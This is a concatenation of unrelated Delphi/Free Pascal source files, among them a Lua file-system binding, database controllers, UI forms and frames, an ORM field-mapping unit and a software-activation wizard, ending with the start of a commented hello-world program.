Result:=4;
end;
function plua_match_mask(l : PLua_State; paramcount: Integer) : integer;
var Filename, mask:string;
case_sens:boolean;
begin
Result:=0;
if paramcount <> 3 then
pLua_RaiseException(l, 'File name, mask and is_case_sensitive are expected.');
case_sens:=lua_toboolean(l, -1);
lua_pop(l, 1);
mask:=plua_tostring(l, -1);
lua_pop(l, 1);
Filename:=plua_tostring(l, -1);
lua_pop(l, 1);
lua_pushboolean(l, MatchesMask(Filename, mask, case_sens));
Result:=1;
end;
function plua_process_messages(l : PLua_State; {%H-}paramcount: Integer) : integer;
begin
Application.ProcessMessages;
plua_EnsureStackBalance(l, 0);
Result:=0;
end;
procedure plua_fs_register(L: Plua_State);
begin
plua_RegisterMethod(l, Package_fs, 'findfiles', @plua_findfiles);
plua_RegisterMethod(l, Package_fs, 'iterfiles', @plua_iterfiles);
plua_RegisterMethod(l, Package_fs, 'filetime', @plua_file_time);
plua_RegisterMethod(l, Package_fs, 'filesize', @plua_file_size);
plua_RegisterMethod(l, Package_fs, 'fileexists', @plua_file_exists);
plua_RegisterMethod(l, Package_fs, 'fileslurp', @plua_file_slurp);
plua_RegisterMethod(l, Package_fs, 'dircreate', @plua_dir_create);
plua_RegisterMethod(l, Package_fs, 'parsefilename', @plua_parse_filename);
plua_RegisterMethod(l, Package_fs, 'matchmask', @plua_match_mask);
end;
procedure plua_dbg_register(L: Plua_State);
begin
plua_RegisterMethod(l, Package_dbg, 'ProcessMessages', @plua_process_messages);
plua_RegisterMethod(l, Package_system, 'ProcessMessages', @plua_process_messages);
end;
{ TFindFilesIterator }
procedure TFindFilesIterator.Clear;
begin
while not FStack.IsEmpty do
begin
PopFrame;
end;
end;
constructor TFindFilesIterator.Create(const Dir, WildCard: string;
Recursive: boolean);
begin
FStack:=TFindFilesIteratorStack.Create;
FParams.Dir:=Dir;
FParams.WildCard:=WildCard;
FParams.Recursive:=Recursive;
PushFrame(Dir);
end;
destructor TFindFilesIterator.Destroy;
begin
Clear;
FStack.Free;
inherited Destroy;
end;
procedure TFindFilesIterator.PushFrame(const Dir: string);
var F:PFindFilesIteratorStackFrame;
begin
New(F);
F^.Dir:=Dir;
F^.State:=stInit;
FillByte(F^.SR, SizeOf(F^.SR), 0);
FStack.Push(F);
end;
procedure TFindFilesIterator.PopFrame(Force:boolean=False);
var Frame:PFindFilesIteratorStackFrame;
begin
Frame:=FStack.Top();
if Force or not (Frame^.State in [stInit, stComplete]) then
FindClose(Frame^.SR);
Dispose(Frame);
FStack.Pop();
end;
function TFindFilesIterator.ProcessDir:string;
label
NextIter;
var Found:Integer;
Frame:PFindFilesIteratorStackFrame;
begin
NextIter:
Result:='';
Frame:=FStack.Top();
while true do
case Frame^.State of
stInit:
begin
//first pass - directories
Frame^.State:=stFindFiles;
if FParams.Recursive then
begin
Found:=FindFirst(Frame^.Dir + DirectorySeparator + AllMask, faDirectory, Frame^.SR);
if Found = 0 then
Frame^.State:=stFindDirectoriesLoop;
end;
end;
stFindDirectoriesLoop:
begin
Frame^.State:=stFindDirectoriesNext;
with Frame^.SR do
begin
if (Name <> '.') and (Name <> '..') then
if (Attr and faDirectory) > 0 then
begin
PushFrame(Frame^.Dir + DirectorySeparator + Name);
goto NextIter;
end;
end;
end;
stFindDirectoriesNext:
begin
Found:=FindNext(Frame^.SR);
if Found = 0 then
Frame^.State:=stFindDirectoriesLoop
else
begin
FindClose(Frame^.SR);
Frame^.State:=stFindFiles;
end;
end;
stFindFiles:
begin
//second pass - files
Found:=FindFirst(Frame^.Dir + DirectorySeparator + FParams.WildCard, faAnyFile, Frame^.SR);
if Found = 0 then
Frame^.State:=stFindFilesLoop
else
Frame^.State:=stComplete;
end;
stFindFilesLoop:
begin
Frame^.State:=stFindFilesNext;
with Frame^.SR do
begin
if (Name <> '.') and (Name <> '..') then
if (Attr and faDirectory) = 0 then
begin
Result:=Frame^.Dir + DirectorySeparator + Name;
break;
end;
end;
end;
stFindFilesNext:
begin
Found:=FindNext(Frame^.SR);
if Found = 0 then
Frame^.State:=stFindFilesLoop
else
Frame^.State:=stComplete;
end;
stComplete:
begin
PopFrame(True);
if FStack.IsEmpty() then
break;
goto NextIter;
end;
end;
end;
function TFindFilesIterator.FetchNext: string;
begin
Result:='';
if not FStack.IsEmpty() then
Result:=ProcessDir;
end;
end.
|
unit Odontologia.Controlador.EmpresaTipo;
interface
uses
Data.DB,
System.Generics.Collections,
System.SysUtils,
Odontologia.Modelo,
Odontologia.Modelo.Entidades.EmpresaTipo,
Odontologia.Modelo.EmpresaTipo.Interfaces,
Odontologia.Controlador.EmpresaTipo.Interfaces;
type
TControllerEmpresaTipo = class(TInterfacedObject, iControllerEmpresaTipo)
private
FModel: iModelEmpresaTipo;
FDataSource: TDataSource;
FEntidad: TFTIPO_EMPRESA;
public
constructor Create;
destructor Destroy; override;
class function New: iControllerEmpresaTipo;
function DataSource (aDataSource : TDataSource) : iControllerEmpresaTipo;
function Buscar : iControllerEmpresaTipo; overload;
function Buscar (aId : Integer) : iControllerEmpresaTipo; overload;
function Buscar (aNombre : String) : iControllerEmpresaTipo; overload;
function Insertar : iControllerEmpresaTipo;
function Modificar : iControllerEmpresaTipo;
function Eliminar : iControllerEmpresaTipo;
function EmpresaTipo : TFTIPO_EMPRESA;
end;
implementation
{ TControllerEmpresaTipo }
function TControllerEmpresaTipo.Buscar: iControllerEmpresaTipo;
begin
Result := Self;
{FModel.DAO
.SQL
.Where('')
.&End
.Find; }
FModel.DAO.SQL.Fields('TIP_EMP_CODIGO AS CODIGO,')
.Fields('TIP_EMP_EMP AS NOMBRE')
.Where('')
.OrderBy('NOMBRE')
.&End.Find;
FDataSource.dataset.EnableControls;
FDataSource.dataset.FieldByName('CODIGO').Visible := false;
FDataSource.dataset.FieldByName('NOMBRE').DisplayWidth :=50;
end;
function TControllerEmpresaTipo.Buscar(aNombre: String): iControllerEmpresaTipo;
begin
Result := Self;
FModel.DAO
.SQL
.Where('PAI_NOMBRE CONTAINING ' +QuotedStr(aNombre) + '')
.&End
.Find;
end;
function TControllerEmpresaTipo.Buscar(aId: Integer): iControllerEmpresaTipo;
begin
Result := Self;
FEntidad := FModel.DAO.Find(aId);
end;
constructor TControllerEmpresaTipo.Create;
begin
FModel := TModel.New.EmpresaTipo;
end;
function TControllerEmpresaTipo.DataSource(aDataSource: TDataSource)
: iControllerEmpresaTipo;
begin
Result := Self;
FDataSource := aDataSource;
FModel.DataSource(FDataSource);
end;
destructor TControllerEmpresaTipo.Destroy;
begin
inherited;
end;
function TControllerEmpresaTipo.Eliminar: iControllerEmpresaTipo;
begin
Result := Self;
FModel.DAO.Delete(FModel.Entidad);
end;
function TControllerEmpresaTipo.EmpresaTipo: TFTIPO_EMPRESA;
begin
Result := FModel.Entidad;
end;
function TControllerEmpresaTipo.Insertar: iControllerEmpresaTipo;
begin
Result := Self;
FModel.DAO.Insert(FModel.Entidad);
end;
function TControllerEmpresaTipo.Modificar: iControllerEmpresaTipo;
begin
Result := Self;
FModel.DAO.Update(FModel.Entidad);
end;
class function TControllerEmpresaTipo.New: iControllerEmpresaTipo;
begin
Result := Self.Create;
end;
end.
|
unit MoreControls;
interface
uses
SysUtils, Classes, Graphics,
ThTag, ThWebControl, TpControls, TpLabel, TpInterfaces;
type
TTpFormatLabel = class(TTpLabel, ITpIncludeLister)
private
FFormatString: string;
FOnFormat: TTpEvent;
protected
function GetContent: string; override;
function GetString: string; override;
procedure SetFormatString(const Value: string); virtual;
procedure SetOnFormat(const Value: TTpEvent);
protected
procedure ListPhpIncludes(inIncludes: TStringList);
procedure LabelTag(inTag: TThTag); override;
published
property FormatString: string read FFormatString write SetFormatString;
property OnFormat: TTpEvent read FOnFormat write SetOnFormat;
end;
//
TTpDateLabel = class(TTpFormatLabel)
private
FDelphiFormat: string;
protected
function GetString: string; override;
procedure SetFormatString(const Value: string); override;
protected
procedure LabelTag(inTag: TThTag); override;
public
constructor Create(inOwner: TComponent); override;
end;
//
TTpSizeLabel = class(TTpLabel, ITpIncludeLister)
private
FSize: Integer;
FOnFormat: TTpEvent;
protected
function GetString: string; override;
procedure SetOnFormat(const Value: TTpEvent);
procedure SetSize(const Value: Integer);
protected
procedure ListPhpIncludes(inIncludes: TStringList);
procedure LabelTag(inTag: TThTag); override;
public
constructor Create(inOwner: TComponent); override;
published
property Size: Integer read FSize write SetSize;
property OnFormat: TTpEvent read FOnFormat write SetOnFormat;
end;
procedure Register;
implementation
{ $R MoreControlsIcons.res}
procedure Register;
begin
RegisterComponents('More', [ TTpFormatLabel, TTpDateLabel, TTpSizeLabel ]);
end;
{ TTpFormatLabel }
function TTpFormatLabel.GetString: string;
begin
if FormatString <> '' then
Result := Format(FormatString, [ Caption ])
else
Result := Caption;
end;
function TTpFormatLabel.GetContent: string;
begin
Result := Caption;
end;
procedure TTpFormatLabel.ListPhpIncludes(inIncludes: TStringList);
begin
inIncludes.Add('TpMoreLib.php');
end;
procedure TTpFormatLabel.SetFormatString(const Value: string);
begin
FFormatString := Value;
Invalidate;
AdjustSize;
end;
procedure TTpFormatLabel.SetOnFormat(const Value: TTpEvent);
begin
FOnFormat := Value;
end;
procedure TTpFormatLabel.LabelTag(inTag: TThTag);
begin
inherited;
with inTag do
begin
Attributes['tpClass'] := 'TTpFmtLabel';
Add('tpFormatString', FormatString);
Add('tpOnFormat', OnFormat);
end;
end;
{ TTpDateLabel }
constructor TTpDateLabel.Create(inOwner: TComponent);
begin
inherited;
end;
procedure TTpDateLabel.SetFormatString(const Value: string);
begin
FDelphiFormat := StringReplace(Value, 'i', 'nn', [ rfReplaceAll ]);
inherited;
end;
function TTpDateLabel.GetString: string;
begin
//Result := FormatDateTime('c', Now);
if FDelphiFormat = '' then
FDelphiFormat := 'd-M-Y H:i';
Result := FormatDateTime(FDelphiFormat, Now);
end;
procedure TTpDateLabel.LabelTag(inTag: TThTag);
begin
inherited;
with inTag do
begin
Attributes['tpClass'] := 'TTpDateLabel';
end;
end;
{ TTpSizeLabel }
constructor TTpSizeLabel.Create(inOwner: TComponent);
begin
inherited;
Size := 0;
end;
function TTpSizeLabel.GetString: string;
begin
if Size > 512 * 1024 then
Result := Format('%0.2f Mb', [ Size / 1024 / 1024 ])
else if Size > 1024 then
Result := Format('%0.2f Kb', [ Size / 1024 ])
else
Result := Format('%d bytes', [ Size ]);
end;
procedure TTpSizeLabel.ListPhpIncludes(inIncludes: TStringList);
begin
inIncludes.Add('TpMoreLib.php');
end;
procedure TTpSizeLabel.SetOnFormat(const Value: TTpEvent);
begin
FOnFormat := Value;
end;
procedure TTpSizeLabel.SetSize(const Value: Integer);
begin
FSize := Value;
Invalidate;
AdjustSize;
end;
procedure TTpSizeLabel.LabelTag(inTag: TThTag);
begin
inherited;
with inTag do
begin
Attributes['tpClass'] := 'TTpSizeLabel';
Add('tpOnFormat', OnFormat);
Add('tpSize', Size);
end;
end;
end.
|
unit Utilidades.Mensajes;
interface
uses
Winapi.Windows,
Winapi.Messages,
System.SysUtils,
System.Variants,
System.Classes,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.Dialogs,
Vcl.ExtCtrls,
Vcl.Buttons,
Vcl.Imaging.pngimage,
Vcl.StdCtrls, utilidades;
type
TPagMensajes = class(TForm)
pnlFondo: TPanel;
lblDescripcion: TLabel;
pnlBotonConfirmacion: TPanel;
btnSi: TSpeedButton;
lblTitulo: TLabel;
pnlCabecera: TPanel;
pnlBotonCancelar: TPanel;
btnNo: TSpeedButton;
Shape1: TShape;
imgIcono: TImage;
lblTituloVentana: TLabel;
procedure btn_naoClick(Sender: TObject);
procedure btn_simClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
private
{ Private declarations }
public
sTitulo, sMensaje, sIcono, sTipo : String;
bRespuestaMensaje :boolean;{ Public declarations }
end;
var
PagMensajes: TPagMensajes;
implementation
{$R *.dfm}
procedure TPagMensajes.btn_simClick(Sender: TObject);
begin
//ATRIBUI SIM A VARIAVEL DE RESPOSTA
bRespuestaMensaje := True;
//FECHA O FORMULARIO
Close;
end;
procedure TPagMensajes.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
//SE A TECLA DIGITADA ENTER
if key = VK_RETURN then
btn_simClick( Self )
else
//SE A TECLA DIGITADA ESC
if key = VK_ESCAPE then
btn_naoClick( Self );
end;
procedure TPagMensajes.FormShow(Sender: TObject);
begin
//MONTA A JANELA DE ACORDO COM OS PARAMTROS PASSADOS PARA AS VARIAVEIS
bRespuestaMensaje := False;
lblTitulo.Caption := sTitulo;
lblDescripcion.Caption := sMensaje;
imgIcono.Picture.LoadFromFile( sIcono );
if sTipo = 'CONFIRMA' then
begin
pnlBotonCancelar.Visible := true;
pnlBotonConfirmacion.Color := $00F48542;
btnSi.Caption := 'SIM (Enter)';
end else
//sTipo = 'AVISO' // sTipo = 'ERRO' // sTipo = 'SUCESSO'
begin
pnlBotonCancelar.Visible := False;
pnlBotonConfirmacion.Color := $0053A834;
btnSi.Caption := 'OK (Enter)';
end;
end;
procedure TPagMensajes.btn_naoClick(Sender: TObject);
begin
//ATRIBUI NAO (CANCELA) A VARIAVEL DE RESPOSTA
bRespuestaMensaje := False;
//FECHA O FORMULARIO
Close;
end;
end.
|
//
// This unit is part of the GLScene Project, http://glscene.org
//
{: FRFaceEditor<p>
Editor fram for a TGLFaceProperties.<p>
<b>Historique : </b><font size=-1><ul>
</ul></font>
}
unit FRFaceEditorLCL;
interface
{$i GLScene.inc}
uses
lresources,
Forms, ComCtrls, FRTrackBarEditLCL,
StdCtrls, FRColorEditorLCL, Controls, Classes,
GLTexture, GLMaterial;
type
TRFaceEditor = class(TFrame)
PageControl: TPageControl;
TSAmbient: TTabSheet;
TSDiffuse: TTabSheet;
TSEmission: TTabSheet;
TSSpecular: TTabSheet;
CEAmbiant: TRColorEditor;
Label1: TLabel;
TBEShininess: TRTrackBarEdit;
ImageList: TImageList;
CEDiffuse: TRColorEditor;
CEEmission: TRColorEditor;
CESpecular: TRColorEditor;
procedure TBEShininessTrackBarChange(Sender: TObject);
private
{ Diclarations privies }
FOnChange : TNotifyEvent;
updating : Boolean;
FFaceProperties : TGLFaceProperties;
procedure SetGLFaceProperties(const val : TGLFaceProperties);
procedure OnColorChange(Sender : TObject);
public
{ Diclarations publiques }
constructor Create(AOwner : TComponent); override;
destructor Destroy; override;
property OnChange : TNotifyEvent read FOnChange write FOnChange;
property FaceProperties : TGLFaceProperties read FFaceProperties write SetGLFaceProperties;
end;
implementation
uses
Graphics;
constructor TRFaceEditor.Create(AOwner : TComponent);
begin
inherited;
FFaceProperties:=TGLFaceProperties.Create(nil);
CEAmbiant.OnChange:=OnColorChange;
CEDiffuse.OnChange:=OnColorChange;
CEEmission.OnChange:=OnColorChange;
CESpecular.OnChange:=OnColorChange;
PageControl.DoubleBuffered:=True;
end;
destructor TRFaceEditor.Destroy;
begin
FFaceProperties.Free;
inherited;
end;
procedure TRFaceEditor.OnColorChange(Sender : TObject);
var
bmp : TBitmap;
bmpRect : TRect;
procedure AddBitmapFor(ce : TRColorEditor);
begin
with bmp.Canvas do begin
Brush.Color:=ce.PAPreview.Color;
FillRect(bmpRect);
end;
ImageList.Add(bmp, nil);
end;
begin
if not updating then begin
// Update imageList
bmp:=TBitmap.Create;
try
bmp.Width:=16;
bmp.Height:=16;
bmpRect:=Rect(0, 0, 16, 16);
ImageList.Clear;
AddBitmapFor(CEAmbiant);
FFaceProperties.Ambient.Color:=CEAmbiant.EditedColor;
AddBitmapFor(CEDiffuse);
FFaceProperties.Diffuse.Color:=CEDiffuse.EditedColor;
AddBitmapFor(CEEmission);
FFaceProperties.Emission.Color:=CEEmission.EditedColor;
AddBitmapFor(CESpecular);
FFaceProperties.Specular.Color:=CESpecular.EditedColor;
finally
bmp.Free;
end;
// Trigger onChange
if Assigned(FOnChange) then FOnChange(Self);
end;
end;
procedure TRFaceEditor.TBEShininessTrackBarChange(Sender: TObject);
begin
if not updating then begin
TBEShininess.TrackBarChange(Sender);
FFaceProperties.Shininess:=TBEShininess.Value;
if Assigned(FOnChange) then FOnChange(Self);
end;
end;
// SetGLFaceProperties
//
procedure TRFaceEditor.SetGLFaceProperties(const val : TGLFaceProperties);
begin
updating:=True;
try
CEAmbiant.EditedColor:=val.Ambient.Color;
CEDiffuse.EditedColor:=val.Diffuse.Color;
CEEmission.EditedColor:=val.Emission.Color;
CESpecular.EditedColor:=val.Specular.Color;
TBEShininess.Value:=val.Shininess;
finally
updating:=False;
end;
OnColorChange(Self);
TBEShininessTrackBarChange(Self);
end;
initialization
{$I FRFaceEditorLCL.lrs}
end.
|
{ :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: QuickReport 4.0 for Delphi and C+Builder ::
:: ::
:: QRPrgres.pas - Foreground printing progress form ::
:: ::
:: Copyright (c) 2007 QBS Software ::
:: All Rights Reserved ::
:: ::
:: web: http://www.qusoft.no ::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: }
unit QRPrgres;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls, QRPrntr, QR4Const;
type
TQRProgressForm = class(TForm)
Info: TLabel;
CancelButton: TButton;
Gauge: TProgressBar;
procedure CancelButtonClick(Sender: TObject);
private
FQRPrinter : TQRPrinter;
protected
procedure CMQRPROGRESSUPDATE(var Message); message CM_QRPROGRESSUPDATE;
public
property QRPrinter : TQRPrinter read FQRPrinter write FQRPrinter;
end;
implementation
{$R *.DFM}
procedure TQRProgressForm.CMQRPROGRESSUPDATE(var Message);
begin
if (FQRPrinter.Progress mod 5) = 0 then
begin
Gauge.Position := FQRPrinter.Progress;
Info.Caption := IntToStr(FQRPrinter.Progress)+'% ' + SqrCompleted;
Application.ProcessMessages;
end;
end;
procedure TQRProgressForm.CancelButtonClick(Sender: TObject);
begin
FQRPrinter.Cancel;
end;
end.
|
unit NewFrontiers.Entity.Mapping;
interface
uses
System.Rtti, Generics.Collections, NewFrontiers.Reflection;
type
/// <summary>
/// Enumeration für den Feldtyp. Wird verwendet um typsicher mit den
/// DB-Feldern kommunizieren zu können.
/// </summary>
TFieldType = (
ftString,
ftInteger,
ftFloat,
ftDateTime,
ftBoolean
);
TEntityMapping = class;
/// <summary>
/// Stellt eine Feld einer Entity dar. Enthält alle benötigten
/// Informationen zu einem Feld.
/// </summary>
TEntityField = class
protected
_fieldname: string;
_type: TFieldType;
_property: TRttiProperty;
_field: TRttiField;
_mapping: TEntityMapping;
function getFieldname: string;
function getFieldType: TFieldType; virtual; abstract;
function getDBType: string; virtual; abstract;
public
/// <summary>
/// Feldname in der Datenbank.
/// </summary>
property Fieldname: string read getFieldname write _fieldname;
property FieldType: TFieldType read getFieldType;
property RttiProperty: TRttiProperty read _property write _property;
property RttiField: TRttiField read _field write _field;
/// <summary>
/// Gibt den Typ des DB Felds zurück (z.B. für alter table Statements)
/// </summary>
property DBType: string read getDBType;
/// <summary>
/// Referenz auf das Mapping. Wird benötigt um den Feldnamen
/// automatisch zu generieren (hierfür wird das Prefix benötigt)
/// </summary>
property Mapping: TEntityMapping read _mapping write _mapping;
class function from(aProperty: TRttiProperty; aMapping: TEntityMapping): TEntityField; overload;
class function from(aField: TRttiField): TEntityField; overload;
class function from(aType: TRttiType): TEntityField; overload;
function getValue(aInstance: TObject): TValue;
procedure setValue(aInstance: TObject; const Value: TValue);
end;
TEntityFieldString = class(TEntityField)
protected
function getFieldType: TFieldType; override;
function getDBType: string; override;
end;
TEntityFieldInteger = class(TEntityField)
protected
function getFieldType: TFieldType; override;
function getDBType: string; override;
end;
TEntityFieldFloat = class(TEntityField)
protected
function getFieldType: TFieldType; override;
function getDBType: string; override;
end;
TEntityFieldDateTime = class(TEntityField)
protected
function getFieldType: TFieldType; override;
function getDBType: string; override;
end;
TEntityFieldBoolean = class(TEntityField)
protected
function getFieldType: TFieldType; override;
function getDBType: string; override;
end;
/// <summary>
/// Bildet das Mapping zwischen einer Klasse und einer DB-Tabelle ab.
/// Wird automatische aus den Attributen der Klasse erzeugt
/// </summary>
TEntityMapping = class
protected
_table: string;
_prefix: string;
_generator: string;
_primary: string;
_fields: TList<TEntityField>;
public
constructor Create(aClass: TClass);
destructor Destroy; override;
property Tablename: string read _table;
property Prefix: string read _prefix;
property Generator: string read _generator;
property Primary: string read _primary;
property Fields: TList<TEntityField> read _fields;
end;
/// <summary>
/// Im Mapping-Dictionary werden aus Performancegründen alle
/// Mapping-Definitionen zwischengespeichert. So muss jede Klasse nur
/// einmal analysiert werden.
/// </summary>
TEntityMappingDictionary = class(TObjectDictionary<string, TEntityMapping>)
public
class function getInstance: TEntityMappingDictionary;
/// <summary>
/// Gibt das Mapping für ein Entity zurück. Wurde noch kein Mapping
/// angelegt, wird dieses innerhalb der Methode getan.
/// </summary>
class function getMappingFor(aClass: TClass): TEntityMapping;
end;
implementation
uses NewFrontiers.Entity, SysUtils, System.TypInfo, NewFrontiers.Reflection.Helper;
var _instance: TEntityMappingDictionary;
{ TEntityMapping }
constructor TEntityMapping.Create(aClass: TClass);
var
typeInfo: TRttiInstanceType;
curAttribute: TCustomAttribute;
properties: TList<TRttiProperty>;
aktProperty: TRttiProperty;
begin
typeInfo := TReflectionManager.getInstance.getInfoForClass(aClass);
for curAttribute in typeInfo.GetAttributes do
begin
if (curAttribute is Table) then
begin
_table := Table(curAttribute).Tablename;
_prefix := Table(curAttribute).Prefix;
_generator := Table(curAttribute).Generator;
_primary := _prefix + '_id';
end;
end;
_fields := TList<TEntityField>.Create;
properties := TReflectionManager.getInstance.getPropertiesWithAttribute(aClass, Column);
for aktProperty in properties do
begin
_fields.Add(TEntityField.from(aktProperty, self));
end;
properties.Free;
end;
destructor TEntityMapping.Destroy;
begin
_fields.Free;
inherited;
end;
{ TEntityMappingDictionary }
class function TEntityMappingDictionary.getInstance: TEntityMappingDictionary;
begin
if (_instance = nil) then
_instance := TEntityMappingDictionary.Create([doOwnsValues]);
result := _instance;
end;
class function TEntityMappingDictionary.getMappingFor(
aClass: TClass): TEntityMapping;
begin
if (not getInstance.ContainsKey(aClass.ClassName)) then
begin
getInstance.Add(aClass.ClassName, TEntityMapping.Create(aClass));
end;
result := getInstance.Items[aClass.ClassName];
end;
{ TEntityField }
class function TEntityField.from(aField: TRttiField): TEntityField;
begin
result := TEntityField.from(aField.FieldType);
result.RttiField := aField;
end;
class function TEntityField.from(aProperty: TRttiProperty; aMapping: TEntityMapping): TEntityField;
var
curAttribute: TCustomAttribute;
begin
result := TEntityField.from(aProperty.PropertyType);
result.RttiProperty := aProperty;
result.Fieldname := aProperty.Name;
result.Mapping := aMapping;
for curAttribute in aProperty.GetAttributes do
begin
if (curAttribute is Column) and (Column(curAttribute).Fieldname <> '') then
begin
result.Fieldname := Column(curAttribute).Fieldname;
end;
end;
end;
class function TEntityField.from(aType: TRttiType): TEntityField;
begin
if (aType.IsDateTime) then
result := TEntityFieldDateTime.Create
else if (aType.TypeKind = tkString) or (aType.TypeKind = tkUString) then
result := TEntityFieldString.Create
else if (aType.TypeKind = tkFloat) then
result := TEntityFieldFloat.Create
else if (aType.TypeKind = tkInteger) then
result := TEntityFieldInteger.Create
else
raise Exception.Create('Unbekannter Typ: ' + aType.ToString + ' / ' + intToStr(ord(aType.TypeKind)));
// else if (aType.TypeKind = tkBoolean) then
// result := TEntityFieldBoolean.Create
end;
function TEntityField.getFieldname: string;
begin
result := _mapping.Prefix + '_' + _fieldname;
end;
function TEntityField.getValue(aInstance: TObject): TValue;
begin
if (_property <> nil) then _property.GetValue(aInstance)
else if (_field <> nil) then _field.GetValue(aInstance)
else raise Exception.Create('Weder Property noch Feld gesetzt');
end;
procedure TEntityField.setValue(aInstance: TObject; const Value: TValue);
begin
if (_property <> nil) then _property.setValue(aInstance, Value)
else if (_field <> nil) then _field.setValue(aInstance, Value)
else raise Exception.Create('Weder Property noch Feld gesetzt');
end;
{ TEntityFieldString }
function TEntityFieldString.getDBType: string;
begin
result := 'varchar(255)'; // TODO: Maxlength
end;
function TEntityFieldString.getFieldType: TFieldType;
begin
result := ftString;
end;
{ TEntityFieldInteger }
function TEntityFieldInteger.getDBType: string;
begin
result := 'integer';
end;
function TEntityFieldInteger.getFieldType: TFieldType;
begin
result := ftInteger;
end;
{ TEntityFieldFloat }
function TEntityFieldFloat.getDBType: string;
begin
result := 'float';
end;
function TEntityFieldFloat.getFieldType: TFieldType;
begin
result := ftFloat;
end;
{ TEntityFieldDateTime }
function TEntityFieldDateTime.getDBType: string;
begin
result := 'date';
end;
function TEntityFieldDateTime.getFieldType: TFieldType;
begin
result := ftDateTime;
end;
{ TEntityFieldBoolean }
function TEntityFieldBoolean.getDBType: string;
begin
result := 'char(1) default "F"';
end;
function TEntityFieldBoolean.getFieldType: TFieldType;
begin
result := ftBoolean;
end;
end.
|
unit uFrameFreeActivation;
interface
uses
Winapi.Windows,
Winapi.ShellApi,
System.SysUtils,
System.Classes,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.Dialogs,
Vcl.StdCtrls,
Vcl.ExtCtrls,
Dmitry.Controls.Base,
Dmitry.Controls.LoadingSign,
uFrameWizardBase,
uShellIntegration,
uConstants,
uSiteUtils,
uActivationUtils,
uLogger;
type
TFrameFreeActivation = class(TFrameWizardBase)
EdFirstName: TLabeledEdit;
EdLastName: TLabeledEdit;
EdEmail: TLabeledEdit;
EdPhone: TLabeledEdit;
EdCountry: TLabeledEdit;
EdCity: TLabeledEdit;
EdAddress: TLabeledEdit;
LsQuery: TLoadingSign;
LbInternetQuery: TLabel;
private
{ Private declarations }
procedure RegistrationCallBack(Reply: string);
protected
procedure LoadLanguage; override;
procedure ActivateControls(IsActive: Boolean);
public
{ Public declarations }
function IsFinal: Boolean; override;
procedure Execute; override;
function InitNextStep: Boolean; override;
end;
implementation
uses
uInternetFreeActivationThread,
uFrameFreeManualActivation;
{$R *.dfm}
{ TFrameFreeActivation }
procedure TFrameFreeActivation.ActivateControls(IsActive: Boolean);
begin
EdFirstName.Enabled := IsActive;
EdLastName.Enabled := IsActive;
EdEmail.Enabled := IsActive;
EdPhone.Enabled := IsActive;
EdCountry.Enabled := IsActive;
EdCity.Enabled := IsActive;
EdAddress.Enabled := IsActive;
end;
procedure TFrameFreeActivation.Execute;
var
Info: InternetActivationInfo;
begin
inherited;
IsBusy := True;
LbInternetQuery.Show;
LsQuery.Show;
ActivateControls(False);
Info.Owner := Manager.Owner;
Info.FirstName := EdFirstName.Text;
Info.LastName := EdLastName.Text;
Info.Email := EdEmail.Text;
Info.Phone := EdPhone.Text;
Info.Country := EdCountry.Text;
Info.City := EdCity.Text;
Info.Address := EdAddress.Text;
Info.CallBack := RegistrationCallBack;
TInternetFreeActivationThread.Create(Info);
Changed;
end;
function TFrameFreeActivation.InitNextStep: Boolean;
begin
Result := inherited;
Manager.AddStep(TFrameFreeManualActivation);
end;
function TFrameFreeActivation.IsFinal: Boolean;
begin
Result := True;
end;
procedure TFrameFreeActivation.LoadLanguage;
begin
inherited;
EdFirstName.EditLabel.Caption := L('First name') + ':';
EdLastName.EditLabel.Caption := L('Last name') + ':';
EdEmail.EditLabel.Caption := L('E-mail') + ':';
EdPhone.EditLabel.Caption := L('Phone') + ':';
EdCountry.EditLabel.Caption := L('Country') + ':';
EdCity.EditLabel.Caption := L('City') + ':';
EdAddress.EditLabel.Caption := L('Address') + ':';
LbInternetQuery.Caption := L('Please wait until program completes the activation process...');
end;
procedure TFrameFreeActivation.RegistrationCallBack(Reply: string);
var
IsDemo, FullMode: Boolean;
Name: string;
I: Integer;
begin
LbInternetQuery.Hide;
LsQuery.Hide;
try
for I := Length(Reply) downto 1 do
if not CharInSet(Reply[I], ['0'..'9', 'A'..'Z', 'a'..'z']) then
Delete(Reply, I, 1);
if Reply = 'fn' then
begin
MessageBoxDB(Handle, Format(L('Field "%s" is required!'), [L('First name')]), L('Warning'), TD_BUTTON_OK, TD_ICON_WARNING);
Exit;
end;
if Reply = 'ln' then
begin
MessageBoxDB(Handle, Format(L('Field "%s" is required!'), [L('Last name')]), L('Warning'), TD_BUTTON_OK, TD_ICON_WARNING);
Exit;
end;
if Reply = 'e' then
begin
MessageBoxDB(Handle, Format(L('Field "%s" is required and should be well-formatted!'), [L('E-mail')]), L('Warning'), TD_BUTTON_OK, TD_ICON_WARNING);
Exit;
end;
//4.5 or later
if Reply.StartsWith('http://') or Reply.StartsWith('https://') then
begin
ShellExecute(GetActiveWindow, 'open', PWideChar(Reply), nil, nil, SW_NORMAL);
IsStepComplete := True;
Exit;
end;
TActivationManager.Instance.CheckActivationCode(TActivationManager.Instance.ApplicationCode, Reply, IsDemo, FullMode);
if not IsDemo then
begin
Name := Format('%s %s', [EdFirstName.Text, EdLastName.Text]);
if TActivationManager.Instance.SaveActivateKey(Name, Reply, True) or TActivationManager.Instance.SaveActivateKey(Name, Reply, False) then
begin
MessageBoxDB(Handle, L('Thank you for activation the program! Please restart the application!'), L('Warning'), TD_BUTTON_OK, TD_ICON_WARNING);
DoDonate;
IsStepComplete := True;
Exit;
end;
end;
EventLog('Invalid reply from server: ' + Reply);
MessageBoxDB(Handle, L('Activation via internet failed! Please, check your internet connection settings in IE. Only manual activation is possible at this moment!'), L('Warning'), TD_BUTTON_OK, TD_ICON_WARNING);
IsBusy := False;
Manager.NextStep;
finally
IsBusy := False;
ActivateControls(True);
Changed;
end;
end;
end.
|
Program helloWorld; // Имя программы. Не обязательная строчка
Var // Начало объявления глобальных перменных
hello: string; // Объявление строковой переменной с именем 'hello'.
Begin // Начало тела программы.
hello:= 'Hello World'; // Присвоение переменной hello значения 'Hello World'
